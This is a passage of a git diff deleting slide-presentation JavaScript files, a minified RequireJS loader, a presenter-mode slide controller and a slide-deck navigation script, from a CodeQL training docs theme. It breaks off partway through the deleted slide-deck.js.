-b)}function F(b,f){var a=b.map.fullName,c=b.depArray,d=!0,h,e,i,l;if(b.isDone||!a||!s[a])return l;if(f[a])return b;f[a]=!0;if(c){for(h=0;h<c.length;h++){e=c[h];if(!s[e]&&!ia[e]){d=!1;break}if((i=x[e])&&!i.isDone&&s[e])if(l=F(i,f))break}d||(l=r,delete f[a])}return l}function z(b,a){var g=b.map.fullName,c=b.depArray,d,h,e,i;if(b.isDone||!g||!s[g])return r;if(g){if(a[g])return n[g];a[g]=!0}if(c)for(d=0;d<c.length;d++)if(h=c[d])if((e=l(h).prefix)&&(i=x[e])&&z(i,a),(e=x[h])&&!e.isDone&&s[h])h=z(e,a),b.depCallbacks[d](h);
-return n[g]}function E(){var b=q.waitSeconds*1E3,b=b&&i.startTime+b<(new Date).getTime(),a="",c=!1,l=!1,k=[],h,e;if(i.pausedCount>0)return r;if(q.priorityWait)if(j())A();else return r;for(h in s)if(!(h in L)&&(c=!0,!s[h]))if(b)a+=h+" ";else if(l=!0,h.indexOf("!")===-1){k=[];break}else(e=M[h]&&M[h].moduleDeps)&&k.push.apply(k,e);if(!c&&!i.waitCount)return r;if(b&&a)return b=P("timeout","Load timeout for modules: "+a),b.requireType="timeout",b.requireModules=a,b.contextName=i.contextName,d.onError(b);
-if(l&&k.length)for(a=0;h=x[k[a]];a++)if(h=F(h,{})){z(h,{});break}if(!b&&(l||i.scriptCount)){if((I||da)&&!X)X=setTimeout(function(){X=0;E()},50);return r}if(i.waitCount){for(a=0;h=J[a];a++)z(h,{});i.paused.length&&A();Y<5&&(Y+=1,E())}Y=0;d.checkReadyState();return r}var i,A,q={waitSeconds:7,baseUrl:"./",paths:{},pkgs:{},catchError:{}},S=[],B={require:!0,exports:!0,module:!0},G={},n={},s={},x={},J=[],R={},O=0,M={},N={},H={},T={},Z=0;W=function(b){if(!i.jQuery&&(b=b||(typeof jQuery!=="undefined"?jQuery:
-null))&&!(q.jQuery&&b.fn.jquery!==q.jQuery)&&("holdReady"in b||"readyWait"in b))if(i.jQuery=b,w(["jquery",[],function(){return jQuery}]),i.scriptCount)V(b,!0),i.jQueryIncremented=!0};A=function(){var b,a,c,l,k,h;i.takeGlobalQueue();Z+=1;if(i.scriptCount<=0)i.scriptCount=0;for(;S.length;)if(b=S.shift(),b[0]===null)return d.onError(P("mismatch","Mismatched anonymous define() module: "+b[b.length-1]));else w(b);if(!q.priorityWait||j())for(;i.paused.length;){k=i.paused;i.pausedCount+=k.length;i.paused=
-[];for(l=0;b=k[l];l++)a=b.map,c=a.url,h=a.fullName,a.prefix?o(a.prefix,b):!R[c]&&!s[h]&&((q.requireLoad||d.load)(i,h,c),c.indexOf("empty:")!==0&&(R[c]=!0));i.startTime=(new Date).getTime();i.pausedCount-=k.length}Z===1&&E();Z-=1;return r};i={contextName:a,config:q,defQueue:S,waiting:x,waitCount:0,specified:B,loaded:s,urlMap:G,urlFetched:R,scriptCount:0,defined:n,paused:[],pausedCount:0,plugins:N,needFullExec:H,fake:{},fullExec:T,managerCallbacks:M,makeModuleMap:l,normalize:c,configure:function(b){var a,
-c,d;b.baseUrl&&b.baseUrl.charAt(b.baseUrl.length-1)!=="/"&&(b.baseUrl+="/");a=q.paths;d=q.pkgs;$(q,b,!0);if(b.paths){for(c in b.paths)c in L||(a[c]=b.paths[c]);q.paths=a}if((a=b.packagePaths)||b.packages){if(a)for(c in a)c in L||aa(d,a[c],c);b.packages&&aa(d,b.packages);q.pkgs=d}if(b.priority)c=i.requireWait,i.requireWait=!1,A(),i.require(b.priority),A(),i.requireWait=c,q.priorityWait=b.priority;if(b.deps||b.callback)i.require(b.deps||[],b.callback)},requireDefined:function(b,a){return l(b,a).fullName in
-n},requireSpecified:function(b,a){return l(b,a).fullName in B},require:function(b,c,g){if(typeof b==="string"){if(K(c))return d.onError(P("requireargs","Invalid require call"));if(d.get)return d.get(i,b,c);c=l(b,c);b=c.fullName;return!(b in n)?d.onError(P("notloaded","Module name '"+c.fullName+"' has not been loaded yet for context: "+a)):n[b]}(b&&b.length||c)&&C(null,b,c,g);if(!i.requireWait)for(;!i.scriptCount&&i.paused.length;)A();return i.require},takeGlobalQueue:function(){U.length&&(ja.apply(i.defQueue,
-[i.defQueue.length-1,0].concat(U)),U=[])},completeLoad:function(b){var a;for(i.takeGlobalQueue();S.length;)if(a=S.shift(),a[0]===null){a[0]=b;break}else if(a[0]===b)break;else w(a),a=null;a?w(a):w([b,[],b==="jquery"&&typeof jQuery!=="undefined"?function(){return jQuery}:null]);d.isAsync&&(i.scriptCount-=1);A();d.isAsync||(i.scriptCount-=1)},toUrl:function(b,a){var c=b.lastIndexOf("."),d=null;c!==-1&&(d=b.substring(c,b.length),b=b.substring(0,c));return i.nameToUrl(b,d,a)},nameToUrl:function(b,a,g){var l,
-k,h,e,j=i.config,b=c(b,g&&g.fullName);if(d.jsExtRegExp.test(b))a=b+(a?a:"");else{l=j.paths;k=j.pkgs;g=b.split("/");for(e=g.length;e>0;e--)if(h=g.slice(0,e).join("/"),l[h]){g.splice(0,e,l[h]);break}else if(h=k[h]){b=b===h.name?h.location+"/"+h.main:h.location;g.splice(0,e,b);break}a=g.join("/")+(a||".js");a=(a.charAt(0)==="/"||a.match(/^[\w\+\.\-]+:/)?"":j.baseUrl)+a}return j.urlArgs?a+((a.indexOf("?")===-1?"?":"&")+j.urlArgs):a}};i.jQueryCheck=W;i.resume=A;return i}function ka(){var a,c,d;if(C&&C.readyState===
-"interactive")return C;a=document.getElementsByTagName("script");for(c=a.length-1;c>-1&&(d=a[c]);c--)if(d.readyState==="interactive")return C=d;return null}var la=/(\/\*([\s\S]*?)\*\/|([^:]|^)\/\/(.*)$)/mg,ma=/require\(\s*["']([^'"\s]+)["']\s*\)/g,fa=/^\.\//,ba=/\.js$/,O=Object.prototype.toString,u=Array.prototype,ha=u.slice,ja=u.splice,I=!!(typeof window!=="undefined"&&navigator&&document),da=!I&&typeof importScripts!=="undefined",na=I&&navigator.platform==="PLAYSTATION 3"?/^complete$/:/^(complete|loaded)$/,
-ea=typeof opera!=="undefined"&&opera.toString()==="[object Opera]",L={},D={},U=[],C=null,Y=0,Q=!1,ia={require:!0,module:!0,exports:!0},d,u={},J,y,v,E,o,w,F,B,z,W,X;if(typeof define==="undefined"){if(typeof requirejs!=="undefined")if(K(requirejs))return;else u=requirejs,requirejs=r;typeof require!=="undefined"&&!K(require)&&(u=require,require=r);d=requirejs=function(a,c,d){var j="_",k;!G(a)&&typeof a!=="string"&&(k=a,G(c)?(a=c,c=d):a=[]);if(k&&k.context)j=k.context;d=D[j]||(D[j]=ga(j));k&&d.configure(k);
-return d.require(a,c)};d.config=function(a){return d(a)};require||(require=d);d.toUrl=function(a){return D._.toUrl(a)};d.version="1.0.8";d.jsExtRegExp=/^\/|:|\?|\.js$/;y=d.s={contexts:D,skipAsync:{}};if(d.isAsync=d.isBrowser=I)if(v=y.head=document.getElementsByTagName("head")[0],E=document.getElementsByTagName("base")[0])v=y.head=E.parentNode;d.onError=function(a){throw a;};d.load=function(a,c,l){d.resourcesReady(!1);a.scriptCount+=1;d.attach(l,a,c);if(a.jQuery&&!a.jQueryIncremented)V(a.jQuery,!0),
-a.jQueryIncremented=!0};define=function(a,c,d){var j,k;typeof a!=="string"&&(d=c,c=a,a=null);G(c)||(d=c,c=[]);!c.length&&K(d)&&d.length&&(d.toString().replace(la,"").replace(ma,function(a,d){c.push(d)}),c=(d.length===1?["require"]:["require","exports","module"]).concat(c));if(Q&&(j=J||ka()))a||(a=j.getAttribute("data-requiremodule")),k=D[j.getAttribute("data-requirecontext")];(k?k.defQueue:U).push([a,c,d]);return r};define.amd={multiversion:!0,plugins:!0,jQuery:!0};d.exec=function(a){return eval(a)};
-d.execCb=function(a,c,d,j){return c.apply(j,d)};d.addScriptToDom=function(a){J=a;E?v.insertBefore(a,E):v.appendChild(a);J=null};d.onScriptLoad=function(a){var c=a.currentTarget||a.srcElement,l;if(a.type==="load"||c&&na.test(c.readyState))C=null,a=c.getAttribute("data-requirecontext"),l=c.getAttribute("data-requiremodule"),D[a].completeLoad(l),c.detachEvent&&!ea?c.detachEvent("onreadystatechange",d.onScriptLoad):c.removeEventListener("load",d.onScriptLoad,!1)};d.attach=function(a,c,l,j,k,o){var p;
-if(I)return j=j||d.onScriptLoad,p=c&&c.config&&c.config.xhtml?document.createElementNS("http://www.w3.org/1999/xhtml","html:script"):document.createElement("script"),p.type=k||c&&c.config.scriptType||"text/javascript",p.charset="utf-8",p.async=!y.skipAsync[a],c&&p.setAttribute("data-requirecontext",c.contextName),p.setAttribute("data-requiremodule",l),p.attachEvent&&!(p.attachEvent.toString&&p.attachEvent.toString().indexOf("[native code]")<0)&&!ea?(Q=!0,o?p.onreadystatechange=function(){if(p.readyState===
-"loaded")p.onreadystatechange=null,p.attachEvent("onreadystatechange",j),o(p)}:p.attachEvent("onreadystatechange",j)):p.addEventListener("load",j,!1),p.src=a,o||d.addScriptToDom(p),p;else da&&(importScripts(a),c.completeLoad(l));return null};if(I){o=document.getElementsByTagName("script");for(B=o.length-1;B>-1&&(w=o[B]);B--){if(!v)v=w.parentNode;if(F=w.getAttribute("data-main")){if(!u.baseUrl)o=F.split("/"),w=o.pop(),o=o.length?o.join("/")+"/":"./",u.baseUrl=o,F=w.replace(ba,"");u.deps=u.deps?u.deps.concat(F):
-[F];break}}}d.checkReadyState=function(){var a=y.contexts,c;for(c in a)if(!(c in L)&&a[c].waitCount)return;d.resourcesReady(!0)};d.resourcesReady=function(a){var c,l;d.resourcesDone=a;if(d.resourcesDone)for(l in a=y.contexts,a)if(!(l in L)&&(c=a[l],c.jQueryIncremented))V(c.jQuery,!1),c.jQueryIncremented=!1};d.pageLoaded=function(){if(document.readyState!=="complete")document.readyState="complete"};if(I&&document.addEventListener&&!document.readyState)document.readyState="loading",window.addEventListener("load",
-d.pageLoaded,!1);d(u);if(d.isAsync&&typeof setTimeout!=="undefined")z=y.contexts[u.context||"_"],z.requireWait=!0,setTimeout(function(){z.requireWait=!1;z.scriptCount||z.resume();d.checkReadyState()},0)}})();
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-controller.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-controller.js
deleted file mode 100644
index 571317b9a048..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-controller.js
+++ /dev/null
@@ -1,109 +0,0 @@
-(function(window) {
-
-var ORIGIN_ = location.protocol + '//' + location.host;
-
-function SlideController() {
-  this.popup = null;
-  this.isPopup = window.opener;
-
-  if (this.setupDone()) {
-    window.addEventListener('message', this.onMessage_.bind(this), false);
-
-    // Close popups if we reload the main window.
-    window.addEventListener('beforeunload', function(e) {
-      if (this.popup) {
-        this.popup.close();
-      }
-    }.bind(this), false);
-  }
-}
-
-SlideController.PRESENTER_MODE_PARAM = 'presentme';
-
-SlideController.prototype.setupDone = function() {
-  var params = location.search.substring(1).split('&').map(function(el) {
-    return el.split('=');
-  });
-
-  var presentMe = null;
-  for (var i = 0, param; param = params[i]; ++i) {
-    if (param[0].toLowerCase() == SlideController.PRESENTER_MODE_PARAM) {
-      presentMe = param[1] == 'true';
-      break;
-    }
-  }
-
-  if (presentMe !== null) {
-    localStorage.ENABLE_PRESENTOR_MODE = presentMe;
-    // TODO: use window.history.pushState to update URL instead of the redirect.
-    if (window.history.replaceState) {
-      window.history.replaceState({}, '', location.pathname);
-    } else {
-      location.replace(location.pathname);
-      return false;
-    }
-  }
-
-  var enablePresenterMode = localStorage.getItem('ENABLE_PRESENTOR_MODE');
-  if (enablePresenterMode && JSON.parse(enablePresenterMode)) {
-    // Only open popup from main deck. Don't want recursive popup opening!
-    if (!this.isPopup) {
-      var opts = 'menubar=no,location=yes,resizable=yes,scrollbars=no,status=no';
-      this.popup = window.open(location.href, 'mywindow', opts);
-
-      // Loading in the popup? Trigger the hotkey for turning presenter mode on.
-      this.popup.addEventListener('load', function(e) {
-        var evt = this.popup.document.createEvent('Event');
-        evt.initEvent('keydown', true, true);
-        evt.keyCode = 'P'.charCodeAt(0);
-        this.popup.document.dispatchEvent(evt);
-        // this.popup.document.body.classList.add('with-notes');
-        // document.body.classList.add('popup');
-      }.bind(this), false);
-    }
-  }
-
-  return true;
-}
-
-SlideController.prototype.onMessage_ = function(e) {
-  var data = e.data;
-
-  // Restrict messages to being from this origin. Allow local developmet
-  // from file:// though.
-  // TODO: It would be dope if FF implemented location.origin!
-  if (e.origin != ORIGIN_ && ORIGIN_.indexOf('file://') != 0) {
-    alert('Someone tried to postMessage from an unknown origin');
-    return;
-  }
-
-  // if (e.source.location.hostname != 'localhost') {
-  //   alert('Someone tried to postMessage from an unknown origin');
-  //   return;
-  // }
-
-  if ('keyCode' in data) {
-    var evt = document.createEvent('Event');
-    evt.initEvent('keydown', true, true);
-    evt.keyCode = data.keyCode;
-    document.dispatchEvent(evt);
-  }
-};
-
-SlideController.prototype.sendMsg = function(msg) {
-  // // Send message to popup window.
-  // if (this.popup) {
-  //   this.popup.postMessage(msg, ORIGIN_);
-  // }
-
-  // Send message to main window.
-  if (this.isPopup) {
-    // TODO: It would be dope if FF implemented location.origin.
-    window.opener.postMessage(msg, '*');
-  }
-};
-
-window.SlideController = SlideController;
-
-})(window);
-
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck-instantiate.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck-instantiate.js
deleted file mode 100644
index 08b2ebdc7fd4..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck-instantiate.js
+++ /dev/null
@@ -1,13 +0,0 @@
-
-// Polyfill missing APIs (if we need to), then create the slide deck.
-// iOS < 5 needs classList, dataset, and window.matchMedia. Modernizr contains
-// the last one.
-(function() {
-  Modernizr.load({
-    test: !!document.body.classList && !!document.body.dataset,
-    nope: ['js/polyfills/classList.min.js', 'js/polyfills/dataset.min.js'],
-    complete: function() {
-      window.slidedeck = new SlideDeck();
-    }
-  });
-})();
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck.js
deleted file mode 100644
index bc2b33607669..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/slide-deck.js
+++ /dev/null
@@ -1,897 +0,0 @@
-/**
- * @authors Luke Mahe
- * @authors Eric Bidelman
- * @fileoverview TODO
- */
-document.cancelFullScreen = document.webkitCancelFullScreen ||
-                            document.mozCancelFullScreen;
-
-/**
- * @constructor
- */
-function SlideDeck(el) {
-  this.curSlide_ = 0;
-  this.prevSlide_ = 0;
-  this.config_ = null;
-  this.container = el || document.querySelector('slides');
-  this.slides = [];
-  this.controller = null;
-
-  this.getCurrentSlideFromHash_();
-
-  // Call this explicitly. Modernizr.load won't be done until after DOM load.
-  this.onDomLoaded_.bind(this)();
-}
-
-/**
- * @const
- * @private
- */
-SlideDeck.prototype.SLIDE_CLASSES_ = [
-  'far-past', 'past', 'current', 'next', 'far-next'];
-
-/**
- * @const
- * @private
- */
-SlideDeck.prototype.CSS_DIR_ = '_static/theme/css/';
-
-
-/**
- * @private
- */
-SlideDeck.prototype.findSlideById = function(title_id) {
-  // Return the 1-base index of the Slide with id ``title_id``
-  //
-  // The index must be 1-based, as it's passed to code which assumes
-  // it was specified as the location fragment.
-
-  slideEls = document.querySelectorAll('slides > slide');
-
-  for (var i = 0; i < slideEls.length; i++) {
-    if (slideEls.item(i).id == title_id) {
-      return i + 1;
-    }
-  }
-
-  // no match on a slide, perhaps it's an explicit reference?
-  var
-  target_link = document.querySelector("span[id='" + title_id + "']"),
-  // XXX this is pretty strict, may need to be more flexible in the future
-  slide = (target_link && target_link.parentNode);
-
-  if (slide && slide.tagName == 'SLIDE') {
-    return this.findSlideById(slide.id);
-  }
-
-  return false;
-
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.getCurrentSlideFromHash_ = function() {
-  var slideNo = parseInt(document.location.hash.substr(1));
-
-  if (slideNo && isNaN(slideNo)) {
-      // must be a section title reference
-      slideNo = this.findSlideById(location.hash.substr(1));
-  }
-
-  if (slideNo) {
-    this.curSlide_ = slideNo - 1;
-  } else {
-    this.curSlide_ = 0;
-  }
-};
-
-/**
- * @param {number} slideNo
- */
-SlideDeck.prototype.loadSlide = function(slideNo) {
-  if (slideNo) {
-    this.curSlide_ = slideNo - 1;
-    this.updateSlides_();
-  }
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.onDomLoaded_ = function(e) {
-  document.body.classList.add('loaded'); // Add loaded class for templates to use.
-
-  this.slides = this.container.querySelectorAll('slide:not([hidden]):not(.hidden):not(.backdrop)');
-
-  // If we're on a smartphone, apply special sauce.
-  if (Modernizr.mq('only screen and (max-device-width: 480px)')) {
-    // var style = document.createElement('link');
-    // style.rel = 'stylesheet';
-    // style.type = 'text/css';
-    // style.href = this.CSS_DIR_ + 'phone.css';
-    // document.querySelector('head').appendChild(style);
-
-    // No need for widescreen layout on a phone.
-    this.container.classList.remove('layout-widescreen');
-  }
-
-  this.loadConfig_(SLIDE_CONFIG);
-  this.addEventListeners_();
-  this.updateSlides_();
-
-  // Add slide numbers and total slide count metadata to each slide.
-  var that = this;
-  for (var i = 0, slide; slide = this.slides[i]; ++i) {
-    slide.dataset.slideNum = i + 1;
-    slide.dataset.totalSlides = this.slides.length;
-
-    slide.addEventListener('click', function(e) {
-      if (document.body.classList.contains('overview')) {
-        that.loadSlide(this.dataset.slideNum);
-        e.preventDefault();
-        window.setTimeout(function() {
-          that.toggleOverview();
-        }, 500);
-      }
-    }, false);
-  }
-
-  // Note: this needs to come after addEventListeners_(), which adds a
-  // 'keydown' listener that this controller relies on.
-
-  // Modernizr.touch isn't a sufficient check for devices that support both
-  // touch and mouse. Create the controller in all cases.
-  // // Also, no need to set this up if we're on mobile.
-  // if (!Modernizr.touch) {
-    this.controller = new SlideController(this);
-    if (this.controller.isPopup) {
-      document.body.classList.add('popup');
-    }
-  //}
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.addEventListeners_ = function() {
-  document.addEventListener('keydown', this.onBodyKeyDown_.bind(this), false);
-  window.addEventListener('popstate', this.onPopState_.bind(this), false);
-
-  // var transEndEventNames = {
-  //   'WebkitTransition': 'webkitTransitionEnd',
-  //   'MozTransition': 'transitionend',
-  //   'OTransition': 'oTransitionEnd',
-  //   'msTransition': 'MSTransitionEnd',
-  //   'transition': 'transitionend'
-  // };
-  //
-  // // Find the correct transitionEnd vendor prefix.
-  // window.transEndEventName = transEndEventNames[
-  //     Modernizr.prefixed('transition')];
-  //
-  // // When slides are done transitioning, kickoff loading iframes.
-  // // Note: we're only looking at a single transition (on the slide). This
-  // // doesn't include autobuilds the slides may have. Also, if the slide
-  // // transitions on multiple properties (e.g. not just 'all'), this doesn't
-  // // handle that case.
-  // this.container.addEventListener(transEndEventName, function(e) {
-  //     this.enableSlideFrames_(this.curSlide_);
-  // }.bind(this), false);
-
-  // document.addEventListener('slideenter', function(e) {
-  //   var slide = e.target;
-  //   window.setTimeout(function() {
-  //     this.enableSlideFrames_(e.slideNumber);
-  //     this.enableSlideFrames_(e.slideNumber + 1);
-  //   }.bind(this), 300);
-  // }.bind(this), false);
-};
-
-/**
- * @private
- * @param {Event} e The pop event.
- */
-SlideDeck.prototype.onPopState_ = function(e) {
-  if (e.state != null) {
-    this.curSlide_ = e.state;
-    this.updateSlides_(true);
-  }
-};
-
-/**
- * @param {Event} e
- */
-SlideDeck.prototype.onBodyKeyDown_ = function(e) {
-  if (/^(input|textarea)$/i.test(e.target.nodeName) ||
-      e.target.isContentEditable) {
-    return;
-  }
-
-  // Forward keydowns to the main slides if we're the popup.
-  if (this.controller && this.controller.isPopup) {
-    this.controller.sendMsg({keyCode: e.keyCode});
-  }
-
-  switch (e.keyCode) {
-    case 13: // Enter
-      if (document.body.classList.contains('overview')) {
-        this.toggleOverview();
-      }
-      break;
-
-    case 39: // right arrow
-    case 32: // space
-    case 34: // PgDn
-      this.nextSlide();
-      e.preventDefault();
-      break;
-
-    case 37: // left arrow
-    case 8: // Backspace
-    case 33: // PgUp
-      this.prevSlide();
-      e.preventDefault();
-      break;
-
-    case 40: // down arrow
-      this.nextSlide();
-      e.preventDefault();
-      break;
-
-    case 38: // up arrow
-      this.prevSlide();
-      e.preventDefault();
-      break;
-
-    case 72: // H: Toggle code highlighting
-      document.body.classList.toggle('highlight-code');
-      break;
-
-    case 79: // O: Toggle overview
-      this.toggleOverview();
-      break;
-
-    case 80: // P
-      if (this.controller && this.controller.isPopup) {
-        document.body.classList.toggle('with-notes');
-      } else if (this.controller && !this.controller.popup) {
-        document.body.classList.toggle('with-notes');
-      }
-      break;
-
-    case 82: // R
-      // TODO: implement refresh on main slides when popup is refreshed.
-      break;
-
-    case 27: // ESC: Hide notes and highlighting
-      document.body.classList.remove('with-notes');
-      document.body.classList.remove('highlight-code');
-
-      if (document.body.classList.contains('overview')) {
-        this.toggleOverview();
-      }
-      break;
-
-    case 70: // F: Toggle fullscreen
-       // Only respect 'f' on body. Don't want to capture keys from an <input>.
-       // Also, ignore browser's fullscreen shortcut (cmd+shift+f) so we don't
-       // get trapped in fullscreen!
-      if (e.target == document.body && !(e.shiftKey && e.metaKey)) {
-        if (document.mozFullScreen !== undefined && !document.mozFullScreen) {
-          document.body.mozRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
-        } else if (document.webkitIsFullScreen !== undefined && !document.webkitIsFullScreen) {
-          document.body.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
-        } else {
-          document.cancelFullScreen();
-        }
-      }
-      break;
-
-    case 87: // W: Toggle widescreen
-      // Only respect 'w' on body. Don't want to capture keys from an <input>.
-      if (e.target == document.body && !(e.shiftKey && e.metaKey)) {
-        this.container.classList.toggle('layout-widescreen');
-      }
-      break;
-  }
-};
-
-/**
- *
- */
-SlideDeck.prototype.focusOverview_ = function() {
-  var overview = document.body.classList.contains('overview');
-
-  for (var i = 0, slide; slide = this.slides[i]; i++) {
-    slide.style[Modernizr.prefixed('transform')] = overview ?
-        'translateZ(-2500px) translate(' + (( i - this.curSlide_ ) * 105) +
-                                       '%, 0%)' : '';
-  }
-};
-
-/**
- */
-SlideDeck.prototype.toggleOverview = function() {
-  document.body.classList.toggle('overview');
-
-  this.focusOverview_();
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.loadConfig_ = function(config) {
-  if (!config) {
-    return;
-  }
-
-  this.config_ = config;
-
-  var settings = this.config_.settings;
-
-  this.loadTheme_(settings.theme || []);
-
-  if (settings.favIcon) {
-    this.addFavIcon_(settings.favIcon);
-  }
-
-  // Prettyprint. Default to on.
-  if (!!!('usePrettify' in settings) || settings.usePrettify) {
-    prettyPrint();
-  }
-
-  if (settings.analytics) {
-    this.loadAnalytics_();
-  }
-
-  if (settings.fonts) {
-    this.addFonts_(settings.fonts);
-  }
-
-  // Builds. Default to on.
-  if (!!!('useBuilds' in settings) || settings.useBuilds) {
-    this.makeBuildLists_();
-  }
-
-  if (settings.title) {
-    document.title = settings.title.replace(/<br\/?>/, ' ');
-    if (settings.eventInfo && settings.eventInfo.title) {
-      document.title +=  ' - ' + settings.eventInfo.title;
-    }
-    document.querySelector('[data-config-title]').innerHTML = settings.title;
-  }
-
-  if (settings.subtitle) {
-    document.querySelector('[data-config-subtitle]').innerHTML = settings.subtitle;
-  }
-
-  if (this.config_.presenters) {
-    var presenters = this.config_.presenters;
-    var dataConfigContact = document.querySelector('[data-config-contact]');
-
-    var html = [];
-    if (presenters.length == 1) {
-      var p = presenters[0];
-
-      var presenterTitle = [p.name];
-      if (p.company) {
-        presenterTitle.push(p.company);
-      }
-      html = presenterTitle.join(' - ') + '<br>';
-
-      var gplus = p.gplus ? '<span>g+</span><a href="' + p.gplus +
-          '">' + p.gplus.replace(/https?:\/\//, '') + '</a>' : '';
-
-      var twitter = p.twitter ? '<span>twitter</span>' +
-          '<a href="http://twitter.com/' + p.twitter + '">' +
-          p.twitter + '</a>' : '';
-
-      var www = p.www ? '<span>www</span><a href="' + p.www +
-                        '">' + p.www.replace(/https?:\/\//, '') + '</a>' : '';
-
-      var github = p.github ? '<span>github</span><a href="' + p.github +
-          '">' + p.github.replace(/https?:\/\//, '') + '</a>' : '';
-
-      var html2 = [gplus, twitter, www, github].join('<br>');
-
-      if (dataConfigContact) {
-        dataConfigContact.innerHTML = html2;
-      }
-    } else {
-      for (var i = 0, p; p = presenters[i]; ++i) {
-        html.push(p.name + ' - ' + p.company);
-      }
-      html = html.join('<br>');
-      if (dataConfigContact) {
-        dataConfigContact.innerHTML = html;
-      }
-    }
-
-    var dataConfigPresenter = document.querySelector('[data-config-presenter]');
-    if (dataConfigPresenter) {
-      dataConfigPresenter.innerHTML = html;
-      if (settings.eventInfo) {
-        var date = settings.eventInfo.date;
-        var dateInfo = date ? ' - <time>' + date + '</time>' : '';
-        dataConfigPresenter.innerHTML += settings.eventInfo.title + dateInfo;
-      }
-    }
-  }
-
-  /* Left/Right tap areas. Default to including. */
-  if (!!!('enableSlideAreas' in settings) || settings.enableSlideAreas) {
-    var el = document.createElement('div');
-    el.classList.add('slide-area');
-    el.id = 'prev-slide-area';
-    el.addEventListener('click', this.prevSlide.bind(this,undefined), false);
-    this.container.appendChild(el);
-
-    var el = document.createElement('div');
-    el.classList.add('slide-area');
-    el.id = 'next-slide-area';
-    el.addEventListener('click', this.nextSlide.bind(this,undefined), false);
-    this.container.appendChild(el);
-  }
-
-  if (Modernizr.touch && (!!!('enableTouch' in settings) ||
-      settings.enableTouch)) {
-    var self = this;
-
-    // Note: this prevents mobile zoom in/out but prevents iOS from doing
-    // it's crazy scroll over effect and disaligning the slides.
-    window.addEventListener('touchstart', function(e) {
-      e.preventDefault();
-    }, false);
-
-    var hammer = new Hammer(this.container);
-    hammer.ondragend = function(e) {
-      if (e.direction == 'right' || e.direction == 'down') {
-        self.prevSlide();
-      } else if (e.direction == 'left' || e.direction == 'up') {
-        self.nextSlide();
-      }
-    };
-  }
-};
-
-/**
- * @private
- * @param {Array.<string>} fonts
- */
-SlideDeck.prototype.addFonts_ = function(fonts) {
-  var el = document.createElement('link');
-  el.rel = 'stylesheet';
-  el.href = ('https:' == document.location.protocol ? 'https' : 'http') +
-      '://fonts.googleapis.com/css?family=' + fonts.join('|') + '&v2';
-  document.querySelector('head').appendChild(el);
-};
-
-/**
- * @private
- */
-SlideDeck.prototype.buildNextBuildItem_ = function() {
-  var slide = this.slides[this.curSlide_];
-  var toBuild = slide.querySelector('.to-build');
-  var built = slide.querySelector('.build-current');
-
-  if (built) {
-    built.classList.remove('build-current');
-    if (built.classList.contains('fade')) {
-      built.classList.add('build-fade');
-    }
-  }
-
-  if (!toBuild) {
-    var items = slide.querySelectorAll('.build-fade');
-    for (var j = 0, item; item = items[j]; j++) {
-      item.classList.remove('build-fade');
-    }
-    return false;
-  }
-
-  toBuild.classList.remove('to-build');
-  toBuild.classList.add('build-current');
-
-  return true;
-};
-
-SlideDeck.prototype.buildNextItem_ = function() {
-
-    var slide = this.slides[this.curSlide_];
-    var built = slide.querySelectorAll('.build-current');
-
-    var buildItems = slide.querySelectorAll('[class*="build-item-"]');
-    var show_items;
-
-    // Remove the classes from the previously built item
-    if (built) {
-        for (var j = 0, built_item; built_item = built[j]; ++j) {
-            built_item.classList.remove('build-current');
-            if (built_item.classList.contains('fade')) {
-                built_item.classList.add('build-fade');
-            }
-
-            if (built_item.getAttribute('data-build-show-only')) {
-
-                if (built_item.getAttribute('data-build-class')) {
-                    built_item.classList.remove(
-                        built_item.getAttribute('data-build-class')
-                    );
-                } else {
-                    built_item.classList.add('build-hide');
-                }
-            }
-        };
-    }
-
-    if (slide._buildItems && slide._buildItems.length) {
-        while ((show_items = slide._buildItems.shift()) === undefined) {};
-        if (show_items) {
-
-            // show the next items
-            show_items.forEach(function(item, index, items) {
-                item.classList.remove('to-build');
-                item.classList.add('build-current');
-
-                if (item.getAttribute('data-build-class')) {
-                    item.classList.add(item.getAttribute('data-build-class'));
-                }
-            });
-
-            return true;
-        }
-    }
-
-    return this.buildNextBuildItem_();
-
-};
-
-/**
- * @param {boolean=} opt_dontPush
- */
-SlideDeck.prototype.prevSlide = function(opt_dontPush) {
-  if (this.curSlide_ > 0) {
-    var bodyClassList = document.body.classList;
-    bodyClassList.remove('highlight-code');
-
-    // Toggle off speaker notes if they're showing when we move backwards on the
-    // main slides. If we're the speaker notes popup, leave them up.
-    if (this.controller && !this.controller.isPopup) {
-      bodyClassList.remove('with-notes');
-    } else if (!this.controller) {
-      bodyClassList.remove('with-notes');
-    }
-
-    this.prevSlide_ = this.curSlide_--;
-
-    this.updateSlides_(opt_dontPush);
-  }
-};
-
-/**
- * @param {boolean=} opt_dontPush
- */
-SlideDeck.prototype.nextSlide = function(opt_dontPush) {
-  if (!document.body.classList.contains('overview') && this.buildNextItem_()) {
-    return;
-  }
-
-  if (this.curSlide_ < this.slides.length - 1) {
-    var bodyClassList = document.body.classList;
-    bodyClassList.remove('highlight-code');
-
-    // Toggle off speaker notes if they're showing when we advanced on the main
-    // slides. If we're the speaker notes popup, leave them up.
-    if (this.controller && !this.controller.isPopup) {
-      bodyClassList.remove('with-notes');
-    } else if (!this.controller) {
-      bodyClassList.remove('with-notes');
-    }
-
-    this.prevSlide_ = this.curSlide_++;
-
-    this.updateSlides_(opt_dontPush);
-  }
-};
-
-/* Slide events */
-
-/**
- * Triggered when a slide enter/leave event should be dispatched.
- *
- * @param {string} type The type of event to trigger
- *     (e.g. 'slideenter', 'slideleave').
- * @param {number} slideNo The index of the slide that is being left.
- */
